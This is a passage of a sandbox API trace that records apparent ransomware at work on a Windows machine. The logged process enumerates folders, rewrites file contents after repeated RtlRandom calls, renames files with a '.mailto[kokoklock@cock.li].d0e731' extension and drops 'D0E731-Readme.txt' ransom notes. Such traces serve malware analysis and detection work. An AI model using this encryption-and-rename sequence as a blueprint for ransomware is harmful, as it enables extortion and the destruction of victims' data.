lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e23f754, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1e23f754*=0x20, lpOverlapped=0x0) returned 1 [0076.441] WriteFile (in: hFile=0x9f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e23f754, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e23f754*=0x4, lpOverlapped=0x0) returned 1 [0076.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0076.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0076.441] CloseHandle (hObject=0x9f4) returned 1 [0076.441] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33f10f0 [0076.442] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" [0076.442] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" [0076.442] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.442] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.442] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0076.442] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat", dwFileAttributes=0x20) returned 0 [0076.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479ad8 [0076.443] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\amd64\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0076.443] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" [0076.443] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\d0e731-readme.txt")) returned 0x20 [0076.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426ab8) returned 1 [0076.443] RtlExitUserThread (Status=0x1) Thread: id = 810 os_tid = 0x1120 [0076.444] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf")) returned 0x20 [0076.444] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf", dwFileAttributes=0x20) returned 1 [0076.444] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f4 [0076.444] GetFileSizeEx (in: hFile=0x9f4, lpFileSize=0x1e2bfd88 | out: lpFileSize=0x1e2bfd88*=1495) returned 1 [0076.444] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x5d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.444] ReadFile (in: hFile=0x9f4, lpBuffer=0x1e2bfd5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e2bfd58, lpOverlapped=0x0 | out: lpBuffer=0x1e2bfd5c*, lpNumberOfBytesRead=0x1e2bfd58*=0x4, lpOverlapped=0x0) returned 1 [0076.446] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.446] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.446] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0076.446] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797f0 [0076.446] NtQuerySystemTime (in: CurrentTime=0x1e2bfd34 | out: CurrentTime=0x1e2bfd34*=132121176343315089) returned 0x0 [0076.447] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x874c67cb [0076.447] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x26eaee7c [0076.447] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x9bf88859 [0076.447] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x8b3eb419 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x1fdbb6cc [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0xfcee26da [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0xe5dbc93e [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0xb99bc5d4 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x53523f0b [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x87f50e82 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0xf611be42 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x22841627 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x11a2375a [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x383529ed [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x7f293188 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x7d348897 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x4a122511 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0xb7418cb8 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x8678e503 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0xcc0983bc [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x72fc4c37 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x6ba325d3 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x91a8506b [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x33f127ab [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0xd59b1570 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0xb92e8f36 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0xb2a3df8b [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x2d15d144 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x5e83a27e [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x6412e739 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x2e1fff33 [0076.448] RtlRandom (in: Seed=0x1e2bfd40 | out: Seed=0x1e2bfd40) returned 0x5fad5c4d [0076.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.459] ReadFile (in: hFile=0x9f4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x5d7, lpNumberOfBytesRead=0x1e2bfd34, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e2bfd34*=0x5d7, lpOverlapped=0x0) returned 1 [0076.459] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e2bfcfc | out: lpNewFilePointer=0x0) returned 1 [0076.459] WriteFile (in: hFile=0x9f4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x5d7, lpNumberOfBytesWritten=0x1e2bfd30, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e2bfd30*=0x5d7, lpOverlapped=0x0) returned 1 [0076.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.460] WriteFile (in: hFile=0x9f4, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e2bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1e2bfd2c*=0x20, lpOverlapped=0x0) returned 1 [0076.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.460] WriteFile (in: hFile=0x9f4, lpBuffer=0x3478c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e2bfd58, lpOverlapped=0x0 | out: lpBuffer=0x3478c60*, lpNumberOfBytesWritten=0x1e2bfd58*=0x8, lpOverlapped=0x0) returned 1 [0076.460] WriteFile (in: hFile=0x9f4, lpBuffer=0x1e2bfd70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e2bfd58, lpOverlapped=0x0 | out: lpBuffer=0x1e2bfd70*, lpNumberOfBytesWritten=0x1e2bfd58*=0x4, lpOverlapped=0x0) returned 1 [0076.460] WriteFile (in: hFile=0x9f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e2bfd58, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e2bfd58*=0x4, lpOverlapped=0x0) returned 1 [0076.460] WriteFile (in: hFile=0x9f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e2bfd58, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e2bfd58*=0x6c, lpOverlapped=0x0) returned 1 [0076.460] WriteFile (in: hFile=0x9f4, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e2bfd58, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1e2bfd58*=0x20, lpOverlapped=0x0) returned 1 [0076.460] WriteFile (in: hFile=0x9f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e2bfd58, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e2bfd58*=0x4, lpOverlapped=0x0) returned 1 [0076.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0076.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479818) returned 1 [0076.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.460] CloseHandle (hObject=0x9f4) returned 1 [0076.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33f10f0 [0076.461] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" [0076.461] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" [0076.461] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.461] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0076.461] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf", dwFileAttributes=0x20) returned 0 [0076.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479ad8 [0076.461] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\amd64\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0076.461] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" [0076.462] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\d0e731-readme.txt")) returned 0x20 [0076.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426f30) returned 1 [0076.462] RtlExitUserThread (Status=0x1) Thread: id = 811 os_tid = 0x1124 [0076.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccbf0 [0076.463] wcscpy (in: _Dest=0x33ccbf0, _Source="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore" [0076.463] wcscat (in: _Dest=0x33ccbf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\" [0076.463] wcscat (in: _Dest=0x33ccbf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*" [0076.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4850 [0076.463] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*", lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0598 [0076.464] wcscmp (_String1=".", _String2=".") returned 0 [0076.464] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.464] wcscmp (_String1="..", _String2=".") returned 1 [0076.464] wcscmp (_String1="..", _String2="..") returned 0 [0076.464] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.464] FindClose (in: hFindFile=0x33e0598 | out: hFindFile=0x33e0598) returned 1 [0076.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4850) returned 1 [0076.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccbf0) returned 1 [0076.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd270) returned 1 [0076.464] RtlExitUserThread (Status=0x0) Thread: id = 812 os_tid = 0x1128 [0076.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x341bd50 [0076.465] wcscpy (in: _Dest=0x341bd50, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.465] wcscat (in: _Dest=0x341bd50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.465] wcscat (in: _Dest=0x341bd50, _Source="*" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\*") returned="C:\\Users\\All Users\\USOShared\\Logs\\*" [0076.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4850 [0076.465] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\*", lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xde371631, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0598 [0076.467] wcscmp (_String1=".", _String2=".") returned 0 [0076.467] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xde371631, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.469] wcscmp (_String1="..", _String2=".") returned 1 [0076.470] wcscmp (_String1="..", _String2="..") returned 0 [0076.470] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x58d51fd9, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x597705f5, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.001.etl", cAlternateFileName="NOBE5B~1.ETL")) returned 1 [0076.470] wcscmp (_String1="NotificationUx.001.etl", _String2=".") returned 1 [0076.470] wcscmp (_String1="NotificationUx.001.etl", _String2="..") returned 1 [0076.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd770 [0076.470] wcscpy (in: _Dest=0x33cd770, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.470] wcscat (in: _Dest=0x33cd770, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.470] wcscat (in: _Dest=0x33cd770, _Source="NotificationUx.001.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" [0076.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0 [0076.599] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7cf76e0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x852e502, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.002.etl", cAlternateFileName="NOTIFI~2.ETL")) returned 1 [0076.599] wcscmp (_String1="NotificationUx.002.etl", _String2=".") returned 1 [0076.599] wcscmp (_String1="NotificationUx.002.etl", _String2="..") returned 1 [0076.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd070 [0076.599] wcscpy (in: _Dest=0x33cd070, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.599] wcscat (in: _Dest=0x33cd070, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.599] wcscat (in: _Dest=0x33cd070, _Source="NotificationUx.002.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" [0076.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa34 [0076.600] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2d822f20, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2efd472c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.001.etl", cAlternateFileName="NO604C~1.ETL")) returned 1 [0076.600] wcscmp (_String1="NotificationUxBroker.001.etl", _String2=".") returned 1 [0076.600] wcscmp (_String1="NotificationUxBroker.001.etl", _String2="..") returned 1 [0076.600] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f1b0 [0076.600] wcscpy (in: _Dest=0x347f1b0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.600] wcscat (in: _Dest=0x347f1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.600] wcscat (in: _Dest=0x347f1b0, _Source="NotificationUxBroker.001.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" [0076.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38 [0076.601] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfe554d51, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0xfe782447, ftLastWriteTime.dwHighDateTime=0x1d3375a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.002.etl", cAlternateFileName="NO8BA4~1.ETL")) returned 1 [0076.601] wcscmp (_String1="NotificationUxBroker.002.etl", _String2=".") returned 1 [0076.601] wcscmp (_String1="NotificationUxBroker.002.etl", _String2="..") returned 1 [0076.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347ea40 [0076.601] wcscpy (in: _Dest=0x347ea40, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.601] wcscat (in: _Dest=0x347ea40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" 